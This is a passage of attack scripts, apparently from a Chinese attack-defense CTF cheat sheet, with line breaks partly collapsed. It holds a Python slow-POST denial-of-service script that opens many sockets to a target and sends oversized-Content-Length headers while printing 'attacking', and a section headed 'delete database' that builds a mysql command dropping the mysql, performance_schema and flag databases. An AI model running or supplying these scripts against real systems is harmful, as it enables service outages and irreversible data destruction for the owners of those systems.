page="/index.php"bag=("POST %s HTTP/1.1\r\n""host: %s\r\n""Content-Length: 1000000000\r\n""Cookie: 1998\r\n""\r\n" % (page,host))socks = []def connect():global socksfor i in range(0,max):s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:s.connect((host,port))s.send(bag.encode("utf-8"))socks.append(s)except Exception as ex:time.sleep(1)def send():global sockswhile True:for s in socks:try:print("攻击中....")except Exception as ex:socks.remove(s)s.close()time.sleep(0.1)One = threading.Thread(target=connect,args=())
Two = threading.Thread(target=send,args=())
One.start()
Two.start()
0x05.删除数据库
#!/usr/bin/env python3import base64def rm_db(db_user,my_db_passwd):cmd = "/usr/bin/mysql -h localhost -u%s %s -e '"%(db_user,my_db_passwd)db_name = ['performance_schema','mysql','flag']for db in db_name:cmd += "drop database %s;"%dbcmd += "'"return cmd